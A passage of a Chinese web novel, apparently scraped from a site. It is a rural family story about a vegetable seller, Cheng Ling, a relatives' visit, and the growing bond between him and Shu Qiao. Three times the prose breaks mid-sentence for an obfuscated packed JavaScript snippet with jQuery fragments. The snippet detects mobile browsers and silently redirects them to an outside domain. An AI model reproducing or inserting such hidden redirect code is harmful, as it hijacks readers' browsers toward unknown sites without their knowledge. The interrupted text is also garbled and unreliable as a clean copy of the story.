舒小圆眼珠子转了转,对那位姓程的汉子越发好奇。
她瞅了眼窗外,打定主意后又对舒乔说:“哥哥,明天去菜行带上我呗?”
舒乔哪能不知道她的性子,沉默了好一会儿,被她轻轻推了推胳膊,才无奈点头,“先说好,去了不许乱打听。”
“放心吧哥!”舒小圆心愿得偿,连连点头,末了又瞟了眼旁边似睡非睡的秦氏,不知她刚才听见没有。
不过听见了也没啥,他们又不是去干坏事,舒小圆想着,重新埋头对付手里的针线。
——
程凌按着出门前娘的嘱咐,先去割了两斤五花肉,又挑了几条肉多的排骨,买了半只烧鸭,打了一壶酒,最后去点心铺子称了些糖和糕点。翻了翻箩筐,确认该买的都齐了,这才去城门接张大爷。
“麻烦你了凌小子。”张大爷扶着板车坐稳,布满皱纹的脸上堆着笑。
“张大爷客气了。”都是一个村子的,张大爷年纪大了,程凌顺路捎一程是应该的。
“听村里人说你最近都在城里卖菜,整日守着摊子,闷不闷?”
“没客人时是有些,不过比在码头扛包轻省多了。”
每天早早运菜去摊位,守一整天招呼客人,虽说比干重活轻松,一天下来也累人。
张大爷赞同地点点头,又跟他聊起地里的收成。程凌不时应着,牛车慢悠悠地往前赶。
清水村,因着村边的清水河得名。
村里几十户人家,离县城不远,平日里村民们能进城卖个菜,或是山里寻来的野菜野物,日子都还过得去。
程凌家在村子东头,五间泥瓦房一排朝南,中间是堂屋,东边两间是他和爹娘的屋子,西边是灶屋和杂物间。后院有牛舍和鸡舍,院子都用土墙围着。
他在村口放下张大爷,赶着牛车回了家。
程母许氏听见开门声迎出来,接过他买回来的肉和酒,往门外望了望说:“你姑他们估摸着快到了,我先把菜拾掇出来。”又回头喊,“儿子你去后院看看你爹鸡杀好没。”
程凌应了一声,先把牛牵到后院。
程父正蹲在水井旁的石板前收拾鸡内脏,见他回来抬头喊:“儿子回来啦?正好,帮爹打桶水。”
“等会儿。”程凌应着,见牛在牛舍前磨蹭不肯进去,扬了扬鞭子说下午带它去河边吃草,牛这才乖乖抬蹄进栏。
他拴好门,回身帮爹打水。
“这鸡养得真肥,你瞧瞧。”程父一边搓洗鸡身,一边让程凌拿瓢冲水。
这鸡油光水滑,皮下积着厚厚的黄脂,肉质饱满,单看那两个紧实的鸡腿就知道味道差不了。
“多亏你娘每日精心照看。”程父乐呵呵的,把洗干净的鸡身和内脏放进木盆,又让程凌把地上的鸡毛收好,晒干了等货郎来收。
鸡鸭鹅的羽毛都是好东西,货郎专门收,乡下人家虽不常杀鸡宰鸭,但攒上几斤,就能让家里娃儿换些糖吃。
程凌拿着扫帚,用瓢冲刷石板上的血污,免得招苍蝇蚊虫。
灶屋里传来程父哐哐剁鸡块的声音,夹杂着他和许氏的说话声。
这时程川推门进来,听见灶屋的动静喊道:“大伯母你们已经忙上了?我拿了两条鱼来,待会儿一起煮。”
“小川来啦。”许氏迎出来接过鱼,掂量了下,“这鱼得有两三斤了,正好一条红烧一条清蒸。”
“都听大伯母的。我娘去地里摘菜了,您就不用再摘了。哦对了,我爹说要把家里酿的酒拿来,让大伯不用开坛子了。”
“好我晓得了,那我先忙去。”许氏拎着鱼进了灶屋。
程川跑到后院找程凌,见他正劈柴,甩开膀子说:“哥,我来帮你。”说着搬了块大木头放稳,又远远退开。
程凌抬起斧头用力劈下,木头应声裂开,木屑飞溅。程川捡起飞散的木条放好,又搬来新的木头。
前院传来说话声,程川边捡木条边说:“我娘和小月来了。”又小声嘀咕,“姑姑说要回来,可也没说具体时辰,万一下午才到,中午做这么多菜咋办?”他都闻到炖鸡的香味了,忍不住吸了吸鼻子。
“最迟中午准到。”程凌摆正木头劈下去,又道,“耽误不了你吃鸡腿。”
“嘿嘿,还是哥懂我。”程川挠挠头,“不过哥,你咋这么肯定姑姑中午前能到?”
“往年都这样。”
“往年?”程川愣了愣,上次见姑姑还是去年过年时候,不过既然哥这么说了,那准没错。
“小川过来搭把手!”程二婶刘氏在前院喊。
“来啦!”程川扔下木棍跑过去帮忙。不一会儿他扛着张大圆桌过来,程凌见他费劲,忙放下斧头接过。
程月在后头两手提着桌腿,一字一句地复述,“大伯母说,桌子要擦干净,桌腿扫掉蛛网,冲一下就行。”
“这儿有我们俩就行,小月你去玩吧。”程川手上轻松了,接过她费力提着的桌腿。
“嗯。”程月点点头,脚却往程凌那边挪,见他拿来抹布和扫帚,连忙帮忙端木盆打水,然后站在一旁盯着他们忙活。
程凌先用扫帚扫掉桌上的厚灰,泼了水拿抹布用力擦,抬头见她一脸认真,忍不住笑了笑,“太阳大,小月去前院帮忙择菜吧。”
程月犹豫了一下,见桌子快洗好了,这才点点头,小跑着回了灶屋。
这张大圆桌逢年过节才拿出来,平时放在屋里积了不少灰。程川用扫帚卷掉上边的蛛网,见网里有只蜘蛛,便拿棍子挑着玩。程凌看过来时,他连忙扔了棍子,嘿嘿笑了两声,麻利地干起活来。
洗好的桌子被程凌搬到太阳底下晒着。
这时程家门前,几个人提着大包小包站在门口。
“娘,是这儿吧?”
“是这儿,敲门喊人。”
“终于到啦,我屁屁都坐麻了。”
“小裕别坐地上,衣裳要脏了。”
许氏从灶屋出来,听见外边的小孩声,扬声问:“是大姐回来了吗?”
曲哥儿推开门探了探头,见到许氏连忙笑着喊:“大舅母,我们回来啦!”
许氏赶紧迎上去,“诶,曲哥儿,快进来快进来。”又招呼众人,“可算到了,快进屋歇歇,饭马上就好。”
听到动静,屋里的人都走了出来,院子里顿时热闹起来。
“光顾着高兴了,快进屋坐。”程二婶刘氏拍了下手,见小裕直盯着自己,便弯下腰笑问,“这是小裕吧?走,跟二舅奶进屋,有好吃的。”
小裕抬头看了看阿爹,见他点头,当即牵起刘氏的手蹦蹦跳跳往里走,“舅奶奶,有什么好
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164055|196618||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吃的呀?我想喝甜甜的水。”
“有,怎么没有。不光有甜水,还有甜饼甜糕呢。”
“哇——”
在场的大人都笑了起来,程姑姑笑道:“这孩子不认生,跟谁都能玩到一块儿。”
这次他们一家五口回来,除了大儿子留在家看铺子,儿夫郎榴哥儿、孙子小裕、小儿子曲哥儿和当家的都来了。
程姑姑嫁到邻镇,上次回来还是去年过年时候。想着快中元节了,加上今年还没回来过,就决定回来看看。
程家姐弟三个感情好,程姑姑是老大,下边是程大江和程二河。虽说嫁得不远,可平日里各有各的忙,见面的时候也不多。
程姑父是个铁匠,长得高大壮实,性子实在,话不多。这次回来带了不少吃的用的,许氏嘴上说着“带这么多干啥,太见外了”,心里却热乎得很,转身又赶紧回灶屋看火。
程凌把家里的椅凳都搬出来,给众人倒上温茶。小裕捧着刘氏泡的甜水,喝一口就停下来慢慢品,小脸上美滋滋的。
程姑姑没坐多久,就同榴哥儿一起进了灶屋,撸起袖子说:“一起忙活快些。”
“你们歇着就成,我们这也快好了。”许氏抡着锅铲说。她见程姑姑已经把菜拿出去洗,便也由她去了。
程姑父在堂屋跟两个小舅子聊天,说的无非是地里的庄稼、镇上的生意。他虽是个打铁的,但对农事也很在行,说起今年的雨水、收成,头头是道。
中午这顿饭准备得丰盛,鸡鸭鱼肉样样俱全,晚上再把程姑姑他们带来的菜做上几道就成。
刘氏见榴哥儿站着拘谨,便端起刚出锅的菜让他端出去,笑着道:“这儿没啥活了,榴哥儿你去前院看看碗筷备齐没。”
榴哥儿得了活计,脸上才放松些。前两年小裕还小,这是他头一回来程家,难免放不开。
程凌原先在堂屋陪着说话,听着他们聊庄稼生意,觉着有些无聊,没坐多久就出来了,看小裕他们玩闹。
小裕也是头回来舅爷爷家,半点不怕生,跟程川在后院追着跑,笑闹声隔壁都能听见。
程凌实在想不通,程川都十五六岁了,怎么还能跟个四岁娃玩得这么起劲。
曲哥儿来过程家好几次,程月那会儿还小不记得他,不过这不耽误两人凑一块儿,边吃甜糕边唠嗑。
家里每个人都有自己的活计或乐子,程凌看了一圈,索性去灶屋看看有没有能帮忙的。
因为准备得早,午饭吃得也比往常早。
前院那棵梨树有些年头了,如今长得高大茂密,正好遮阳。
程凌把晒干的大圆桌架好,众人把菜一道道端上来,碗筷摆齐,酒水满上。
一共十二个人,好在桌子够大,刚好坐得下。
“来来来,大姐一家难得回来,大家吃好喝好,都是自家人,别客气。”许氏坐下招呼。
“他们男人喝酒,咱们先吃。”程姑姑也笑着说。
小辈们闻言纷纷动筷,饭桌上说笑声不断。
“表叔叔,这个鸡腿真的给我吃吗?”小裕两手捧着碗,直盯着碗里的鸡腿,又抬头眨眨眼问。
程川大手一挥,“吃吧,表叔这儿还有。”
“谢谢表叔叔!”小裕乖乖道谢,又转头朝阿爹笑了笑,两手抓起鸡腿啃起来,没一会儿就吃得满脸是油。
孩子们吃饭,程姑父和程家两兄弟三人则在旁边喝了不少,连带着程凌也跟着喝。
程二叔自己酿的果酒不醉人,带点甜味。程凌混着在城里买的烧酒喝了不少,吃完饭只觉得脑袋发沉,脚下发飘,先起身回屋了。
刚挨着床沿躺下,眼皮还未完全阖上,屋外就传来程川咋咋呼呼的喊声。
“哥!快出来啊,就等你了!”
程凌眉头一皱,太阳穴突突地跳,酒意被这声喊勾得愈发浓烈。他连睁眼的力气都欠奉,只朝着门口方向,声音带着几分酒后的低哑,含糊应了句,“不去。”
说完,他侧过身,将脑袋往枕头上一埋,昏沉的睡意瞬间席卷而来。屋外的动静渐渐淡去,终是被浓重的倦意彻底隔绝在外。
8. 第 8 章
午后的热气伴着蝉鸣漫开,院子里杯盘碗筷的声响渐渐歇了。
程凌躺在自己屋里,听着窗外隐约的动静,脑子虽还有些昏沉,却并没真的睡着。直到听见娘在灶屋忙碌,他才撑着身子起身出去。
许氏把刚洗好的碗筷归置好,对在外面收拾的程凌道:“儿子,井里湃的绿豆汤该凉透了,你去拿上来吧。”
“这就去。”程凌把最后几条凳子归置好,应着往后院走。
这绿豆汤是许氏特意为赶路辛苦的程姑姑一家熬的,在井里镇了这半晌,喝起来正清凉解暑。
申时的日头依旧毒辣,梨树下聚了些凉意,几人便坐在那儿有一搭没一搭地闲聊。
程凌盛了碗绿豆汤,在一旁坐下慢慢喝着。方才歇了会儿,酒意散了大半,听着长辈们拉家常,倒也惬意。
“之前没留意,小凌都长这么高了,瞧这身量,比他爹还高出半头呢。”程姑姑望过来,眼里满是慈爱。
程凌一时不知该怎么接话,只含糊地点了下头,原本敞开的腿往回收了收。他三两口喝完碗里的汤,起身道:“我再去添点。”
许氏在一旁笑着接话道:“十七八的大小伙子,比他爹高也正常。就是不知往后还能不能再窜一窜。”
“这会儿就正好了,太高了反倒不好说亲。”程姑姑顿了顿,话头自然地一转,“说起来,小凌的亲事有眉目了没?”
“没呢。”许氏轻哼一声,语气里带着无奈,“年前跟他提过一嘴,你猜他怎么说?非要先摆摊卖菜,攒些钱再说。我瞧着,这小子就是还没开窍,拿话搪塞我们呢。”
榴哥儿在一旁抿嘴笑道:“我觉着表弟这样挺好,知道上进总比游手好闲强。”
“榴哥儿说的是这个理。”程姑姑深以为然,“这年纪肯出去找活计、做买卖,都是踏实肯干的,往后的日子差不了。再说家里底子也够用,孩子想自己闯闯,你们当爹娘的支持,再好不过。”
“我和他爹是没辙了,只能由着他去。”许氏说着,瞧见曲哥儿从屋里出来,忙招呼道,“曲哥儿醒啦?过来这边坐。”
等曲哥儿坐下,许氏又含笑问道:“说起来,曲哥儿跟小凌年岁差不多,亲事可定了?”
曲哥儿原本还带着些睡意,闻言脸上立刻飞起两片红云,不好意思地点了点头道:“定了。”
没等许氏细问,程姑姑已接过话头,说道:“那户人家也住镇上,开着间香烛铺子。家里人口简单,除去爹娘,就他一个小子,上头还有一个已经出嫁的哥儿。”
“这般家境倒是不错,人口又简单,少了妯娌间的纷争,往后的日子定能清净些。”许氏赞许地点头。
寻常人家过日子,哪能没有些磕磕碰碰,妯娌婆媳之间更是难免闹矛盾,如今少了这些纠葛,日子自然要舒心得多。
“可不是嘛。”程姑姑轻轻叹气,“曲哥儿性子软,我才特地挑了户人口少的。真要嫁去那种兄弟多,婆母又厉害的人家,还不得被欺负坏了。”
她这小哥儿,自小就是她心尖上的肉,为了这桩亲事,她没少跟着当家的东奔西走,四处托人打听,天天悬着心,就怕看走了眼,把儿子送进火坑。
曲哥儿听她们围着自己的亲事说个没完,实在坐不住,听说灶屋还有绿豆汤,小声说了句“我去喝碗汤”,便赶紧起身溜了。
榴哥儿看着他慌里慌张的背影,低头掩嘴笑了笑。
许氏和程姑姑聊着天,心里却暗自琢磨,自家儿子比曲哥儿还大些,亲事还没着落,看来得找个时间好好跟他谈谈,这回可不能再让他找借口推脱了。就算不马上成亲,起码先定下一门亲事。
程凌还不知道许氏的心思,在灶屋又喝了两碗绿豆汤,见曲哥儿进来,便放下碗转身出去了。
家里有娘她们招待姑姑一家,他也插不上话,想着溪边凉快,干脆去找程川他们。
小溪边,程川挽着衣袖裤脚,手里举着网兜,蹑手蹑脚地逼近石缝边的小鱼小虾,猛地一兜提起,网兜里的鱼虾顿时扑腾乱跳。他赶紧攥紧网口,生怕它们跑了。
这网兜是他用麻绳和竹篾编的,捞上来的都是些一指宽的小鱼小虾,回去炸着吃正好。
“哇,这里面有只螃蟹!”小裕指着网底一只正往外钻的螃蟹,想碰又不敢碰。
程月站在一旁,一本正经地说:“这螃蟹太小了,不能吃,放了吧。”
小裕兴奋的小脸顿时垮了下来,眼巴巴地问:“那能给我玩玩吗?”
程月摇摇头,“不行,夹到手可疼了。”
“好吧。”小裕虽有些不舍,却没再纠缠。
程川在一旁笑道:“没事,表叔再给你抓条大鱼!”
“真的吗?谢谢表叔叔!”小裕立刻又雀跃起来。
程月张了张嘴,想说这小溪里根本没有大鱼,可见小裕满脸期待,到底把话咽了回去。算了,说不定过会儿他就忘了这茬了。
这时,旁边有小伙伴喊程月,她便没再管那两个一心想抓大鱼的一大一小,跑去和小姐妹捡石子了。
程凌过来时,看到的就是这样一幅场景——三三两两的孩子或在浅水处嬉戏,或低头寻觅石子,唯独程川和小裕,一个举着网兜,一个蹲在一旁,嘴里念念有词,不知在捣鼓什么。
“程川。”程凌站在溪边,见他双手在水里搅和,泥沙泛涌,把清水都搅浑了。
“哥!”程川闻声抬头,笑嘻嘻地举起手,“看,泥鳅!”
这泥鳅本是藏在石缝泥里,被程川瞧见,索性丢了网兜徒手去抓。那泥鳅在他手里扭动挣扎,泥点溅了小裕一脸,小家伙却咯咯直笑。
见小裕跃跃欲试,程川连忙抬起手,说道:“这东西太滑,你抓不住,先放桶里,回去再玩。”
“好吧。”小裕乖巧应着,转身去拿木桶。
“对了哥,你怎么来了?”程川用肩膀蹭了蹭脸上的汗渍,小声嘀咕,“晌午不还说只有小孩才爱玩水么。”
程凌面色淡然,“来河边,不抓鱼能干什么。”
“哦——”程川会意,把泥鳅扔进桶里,看了眼身旁的小裕,兴致勃勃道,“那咱们一块儿吧!”
他可是答应要给小裕抓大鱼的,正愁没法子。这小溪水浅,别
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164056|196618||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说大鱼,稍大些的鱼影都见不着。要抓大鱼,还得去河边。
程凌没多言,算是默许了。他领头往更宽阔的河边走去,程川赶紧提桶牵起小裕跟上。
程凌原本没打算下水,可来都来了,总不能空手回去。他一边挽裤脚,一边叮嘱,“你们俩就在边上等着,不许往水边凑。程川,你看好小裕。”
“放心吧哥!我们就在这儿看着,绝不往前一步!”程川拍着胸脯保证。
“嗯嗯,小裕听话!”小裕在一旁小鸡啄米似的点头。
望着眼前宽阔得多的河面,小家伙眼睛发亮,他还是头一回见到这么大的河呢!
小裕踮起脚尖,伸长脖子朝水边张望,心里想着下次还要来。
“表叔下水了!”
“嗯,你表叔抓鱼可厉害了,今晚又能吃鱼咯。”程川在一旁乐呵呵地说。
程凌没往深处去,只在近岸水草丰茂处摸索。
这河里的鱼虾不少,村里人平时也会来抓,只是河鱼若处理不好,腥味重且刺多,所以来的人不算多,更多时候,这里只是村民洗衣和挑水浇菜的地方。
他起初还用程川的网兜,觉着不顺手,索性直接徒手。他眼疾手快,瞅准时机便迅捷出手。不过片刻,一条巴掌宽的鱼便被利落地扔进桶里,引得程川和小裕压低声音欢呼起来。
程凌没理会他俩,转身继续专注地盯着水面。
另一边,程月玩了会儿石子,回头一看,发现小裕不见了,顿时慌了神,起身四处张望。
“你哥好像跟你大哥往河边去了。”旁边的小伙伴提醒。
“这样啊……”程月松了口气,心里却有点恼,“走了也不喊我一声。”她倒不担心程川,只是小裕年幼,在水边跑丢,可要吓坏她了。
日头渐渐西沉,将天边染成一片暖橘。
几人提着水桶归来,裤脚衣摆都湿了大半,却掩不住满脸的畅快。
“回来啦?”许氏迎上前,朝桶里瞧了一眼,便笑开来,“哎哟,捞了这么多!咱们小裕真能干。”说着用袖口替小家伙擦去溅在脸颊的泥点。
小家伙玩得尽兴,脸蛋还红扑扑的,连忙摆手一脸崇拜道:“不是我抓的,是表叔他们抓的!还有条大鱼呢,可厉害啦!”
许氏顺势往桶里细瞧,果真见一条肥鱼翻着银白的肚皮,当即笑弯了眼,“好,今儿咱们就把这鱼吃个够!”
晚间灶屋又飘出了鱼香。中午吃了清蒸鱼和红烧鱼,今晚这条鱼则用来香煎,再佐上些自家腌的酸梅,料汁咸酸开胃,特别下饭。
家里多了几口人,热闹了不少。
天擦黑后,程川便带着小裕在院子里跑开,追逐那些忽明忽暗的萤火虫,清脆的笑声像铃铛一样洒满小院。
程凌倚在门廊边看了一会儿,并未加入。
夜风带着溪水般的凉意,徐徐吹来,拂去了白日的最后一丝燥热。
他抬眼望向天边那弯清亮的月牙,想到明日出摊便能见着那个人,心头仿佛被这月色温柔地笼罩。他转身进屋,预备早些歇下。
明日,还有明日的盼头。
9. 第 9 章
日头西沉,酉时将近。
舒小圆一个下午都心不在焉,手里的绣活没动几针,目光总往门边瞧。眼见天色差不多了,她立刻丢开绣绷,蹭到舒乔身边,眼巴巴地望着道:“哥哥,该去菜行了吧?”
“这话你今日都问三回了。”舒乔正给帕子收尾,指尖利落地打了个结,抬头看她那急切模样,又是好笑又是无奈。
“我这不是……心里惦记嘛。”舒小圆见他开始收拾丝线,知道这回是真要走了,忙抢着帮忙,“哥哥你别动,我来收拾!你去拿菜篮子就好!”话音未落,已手脚飞快地将针线剪刀归拢好,小跑着送回屋里。
舒乔由着她忙活,起身活动了下僵硬的肩颈。坐了一下午,腰背发酸,连眼睛都有些干涩。他望着远处的槐树枝梢,慢慢抻了抻胳膊,朝灶屋走去。
舒小圆一只脚刚迈出门槛,又猛地回头,扭头朝屋里喊:“哥哥,竹筒可别忘了!”
“带着呢。”舒乔低笑几声,伸手轻轻推着她的肩往外走,“走吧,再磨蹭该晚了。”
舒小圆嘿嘿一笑,像只出笼的雀儿,立即跑在前边,“走咯!”
菜行那头,程凌已将所剩不多的菜蔬归置整齐,空筐也摞好了。他看似不紧不慢,眼风却时不时扫向来的放向。算着时辰,那人该来了。
当那熟悉的、不疾不徐的脚步声终于在嘈杂中清晰起来时,他几乎是立刻直起了身。果然,舒乔提着篮子,身边还跟着个探头探脑的小丫头,正朝这边走来。
程凌抬手用袖子擦了擦额角,迎上舒乔的目光,那眼神自然而然地就软了下来,低声道:“来了。”
“程大哥。”舒乔唇边带着浅浅的笑,点了点头,默契地将空菜篮递过去。
程凌接过篮子,俯身从脚边的箩筐里捧出早就备好的菜叶,都是些鸡爱吃的嫩叶,看得出是特意挑拣过的。
一旁的舒小圆早把来前那些念头忘了个干净。她一手拽着舒乔的袖子,看着哥哥和这位程大哥,一个递篮子,一个放菜叶,动作娴熟自然,连句话都不用多说,一个眼神便知对方所需,不由得睁大了眼睛,目光在两人之间来回打量。
程凌将装的满当当的菜篮递回,手臂稳当地托着底部,确保舒乔能轻松接过。见小姑娘正圆睁着眼瞧自己,他脸上没什么表情,但那双总是显得沉稳甚至有些锐利的眼睛,此刻线条却柔和了些,转向舒乔问:“这是你小妹?”
“嗯,舍妹小圆。”舒乔轻轻按了按妹妹的肩头,提醒她打招呼。
舒小圆回过神,想起自己该有的礼数,连忙挤出个乖巧的笑容,声音响亮道:“程大哥好!”
程凌颔首回应,视线转到舒乔手中那个眼熟的竹筒上,目光在上面停留了一瞬。
不等他开口,舒乔先递了过去,“天气热,程大哥你多喝些水。”
程凌很自然地接过,拔开塞子,一股浓浓的麦香便飘了出来。他凑近些闻了闻,那香气更明显了些,抬眼看向舒乔,“炒大麦?”
“嗯。”舒乔双手提着沉了不少的菜篮,闻言只是微微抬了抬下巴,眼神示意他喝,“前阵子炒了些存着,夏天泡水正合适。”
“乔哥儿费心了。”程凌没多说什么,往水囊里倒了些。他仰头喝了一大口,喉结滚动,再放下水囊时,眉宇间那点被暑气蒸腾出的最后一丝躁意,也仿佛被这熨帖的茶水平息了。
舒乔看着他喝下,这才接过递回来的竹筒,指尖在竹筒外壁残留的温热上无意识地摩挲了一下,没再客套。
舒小圆踮着脚,看看这个,又看看那个,只觉得两人之间像是隔了层看不见的纱,把她挡在了外边,连句话都插不进去。
回去的路上,舒小圆还琢磨着刚才的情景,舒乔跟她说话都没听见。
“小圆?”舒乔停下脚步,又唤了一声。
“啊?哥哥你说什么?”她猛地回神。
“我问你,晚上想吃什么?”舒乔掂量着家里的存粮,“剩下那半块南瓜得赶紧吃了,再放就该坏了。家里油也不多了,过两日得买些猪板油回来熬……”
舒小圆只听了一半,知道哥哥心下已有章程,思绪便又飘远了。
要不……明日再跟哥哥来一趟菜行?
夕阳沉入西山,晚霞将半边天际染成瑰丽的橘红色。白日的燥热渐渐消散,暮色悄然而至。
舒家小院里,一家人用过晚饭,正趁着晚风闲话纳凉。
舒小圆终究藏不住心事,拉着舒小临,将白天见到程大哥的经过一五一十地说了。她话还没说完,一旁原本靠着椅背假寐的秦氏,忽然坐直了身子。
“乔哥儿,小圆说的可是真的?”
“嗯?”舒乔方才有些走神,没听清他们谈论什么,见她眼中带着几分急切与探究,不由疑惑,“娘,怎么了?”
舒小圆在一旁小声提醒,“哥哥,是程大哥的事啦。”
舒乔这才了然,执起一旁的葵扇缓缓摇着,语气平和道:“是真的。程大哥心善,常留些菜叶给我喂鸡,我不过是顺道给他带点水,寻常往来罢了。”
秦氏追问道:“那位程…程什么?”
“程凌。”舒乔补充道。
“对,程凌。”秦氏往前倾了倾身子,声音压低了些,“他家住何处?家里还有哪些人?年纪多大了?”
“这些……我倒不曾问过。”舒乔反手拍落腿上的蚊子,“只知他在菜行摆摊,其余并不清楚。娘,你别多想,我们只是寻常相交。”
怕她误会,他又特意补了一句,“真没别的意思。”
秦氏张了张嘴,想说自个儿还没往那处想呢。
见儿子这般说,秦氏便不再多问,心里却总觉得有些异样。
一旁的舒小圆听着哥哥的话,再看看娘亲的神色,心里忽然透亮起来!
原来如此!她就说嘛,哥哥和程大哥相处时的那股子自在劲儿,看着就跟别人不一样!
舒小圆年方十岁,虽不甚懂得男女之情,但平日里耳濡目染,也懵懵懂懂地知晓些大概。
她心想这下哥哥的婚事或许有着落了。
可转念一想,她又蹙起眉头。他们连程大哥家住何处都不清楚,万一他不是好人呢?
看来明日还得再去一趟,得替哥哥好生打探打探!
至于哥哥为何否认,舒小圆猜想,许是面皮薄,不好意思承认。
舒小临看着妹妹一会儿皱眉一会儿窃笑的模样,伸手轻拍她的后脑勺,“琢磨什么呢?院里蚊子多,跟我去取些艾草来熏熏,不然晚上该睡不安生了。”
舒小圆拨开他的手,揉了揉脑袋,嘟囔道:“知道啦!”
家里备着不少晒干的艾草,扎成整齐的小捆。用时取些搓成条,点燃后吹灭明火,置于陶碗中阴燃生烟。蚊虫受不住这气味,自会远远避开。
这一夜没了蚊虫扰人清梦,舒乔睡得格外香甜。
翌日酉时,他刚提起菜篮,就见舒小圆已然守在门边,一双眼睛亮晶晶地望着他。
“哥哥,今天我还要跟你去!”舒小圆仰着小脸,笑容格外甜。
“好,走吧。”舒乔只当她是在家闷得慌,含笑应了,心想昨日的好奇心总该满足了吧。
谁知,一到菜行,舒乔就发现自己想错了。
“程大哥,你也住在城里吗?”舒小圆仰着头,开始了她的“盘问”。
“不在城里,在清水村,离这儿不算远。”程凌耐心答道。
“那程大哥家里有兄弟姐妹吗?我们家有哥哥、小临哥,还有我和娘。”
“我是独子,家里就爹娘两位长辈。”程凌说着,目光不经意地扫过舒乔的脸。
“那程大哥你……”舒小圆趁热打铁,刚要问他年岁、是否定亲,就感到衣角被轻轻扯了一下。她抬头,正对上哥哥微微摇头看着她,立刻把后半句话咽了回去。
舒乔想起昨夜娘的追问,再看看眼前这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164057|196618||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
架势,心下明了。
原来这丫头打的是这个主意,昨日那般安静竟是铺垫。
他连忙揉了揉舒小圆的发顶,对程凌道:“程大哥莫怪,小圆年纪小,口无遮拦,你别往心里去。”
这般直白地打听人家家事,终究是失礼了。
程凌脸上没什么波澜,只道:“没事。”他看着舒小圆那机灵的模样,并不觉得冒犯。
舒小圆看着天真烂漫,许是对兄长这位朋友感到好奇罢了,问的也都是些家常话。
舒乔唯恐舒小圆再问出什么令人窘迫的问题,菜叶装好便拉着她告辞。
归途中,舒小圆见舒乔沉默不语,忙认错道:“哥哥你别生气,我就是太好奇了,下次再也不敢了。”
舒乔其实并未动怒,只是怕程凌觉得不适,才急着拉她离开。他轻轻捏了捏舒小圆的手腕,温声道:“不是生气。只是与不熟的人往来,不好这般打听家事,有些人会介意的。程大哥性子好,不代表旁人也乐意被这般询问,可记住了?”
“嗯嗯,我记住了!”舒小圆连连点头,心里却暗忖,下回得换个委婉些的法子,不能这般直来直去了。
另一边,秦氏昨夜辗转反侧,琢磨了半宿,越想越觉着不对劲。
若那程凌对乔哥儿无意,何必专程给他留菜叶?菜行里捡菜叶的人多了去了,也没见他给方大娘留啊。
她是过来人,这里头的门道岂会看不明白。
虽说如今也讲究个男女哥儿大防,可他们寻常百姓家,规矩原就没那么多。
这留菜叶、送水的往来,看着平常,内里未必没有藏着别样的心思。
待舒乔和舒小圆回来,见舒乔径自去了灶屋准备晚饭,秦氏赶忙拉着舒小圆进了里屋,声音都比平日轻几分,“小圆,娘有些话问你。”
“娘要问什么呀?”舒小圆坐到炕沿,晃荡着双脚。
“你跟娘仔细说说,那位程大哥生得什么模样,为人如何?”
“哦,程大哥生得可俊了!个子高高的,比哥哥还高出好些呢,说话也和气,对着哥哥时眼里总带着笑。”
舒小圆未作他想,将自己所见一一道来,又补充道,“他说他家住清水村,是独子,没有兄弟姐妹,瞧着年岁和哥哥相仿。”
“生得俊,性子稳,又是独子,年岁也相当……”秦氏喃喃自语,心里盘算着,又追问了一句关键,“你看他待你哥哥,是客气的成分多,还是真心的成分多?”
舒小圆歪着头,仔细回想着程凌看哥哥时的样子,肯定地点点头:“是真心的!就是……看到哥哥,他整个人都放松下来的那种感觉,错不了!”
“真心就好……”秦氏心里踏实了些,也更活络了。
看样子,两个孩子之间,多半是彼此都有了好感。可乔哥儿到底是怎么想的?那程凌家中是否已定了亲事?
这些若不清楚,空欢喜一场反倒徒增烦恼。
秦氏在炕边思忖良久,忽然有了主意。她这身子将养了这些时日,大好虽未全愈,重活是做不了,去菜行转转却无妨。不如……她亲自去瞧上一眼。
她也实在是没法子了。自打上回张家媳妇上门说亲闹了场不愉快后,乔哥儿的婚事便成了她心头一块大石,没有一日不悬着心。
家里如今靠着乔哥儿绣帕子、小临做活计,日子总算有了盼头。可乔哥儿也到了该说人家的年纪,若再拖上两年,好的怕是都要被挑走了。
眼下这个程凌,听小圆说起来模样周正、性情稳重,又肯特意给乔哥儿留菜叶,保不齐真存了几分心思。
如今年轻人的婚事,多是托媒人或亲友留意牵线。可乔哥儿这事儿,既然已有了苗头,她这个做娘的,自然得先悄悄替他把把关,总不能平白错过了好姻缘。
这么想着,秦氏起身理了理衣衫,脚步轻快地朝灶屋走去。
今晚先探探乔哥儿的口风,瞧瞧他对程凌,究竟是何态度。
10. 第 10 章
夜幕低垂,屋内的油灯芯子被拨亮了些,昏黄的光晕笼罩着这方寸天地,空气中浮动着淡淡的灯油气味。
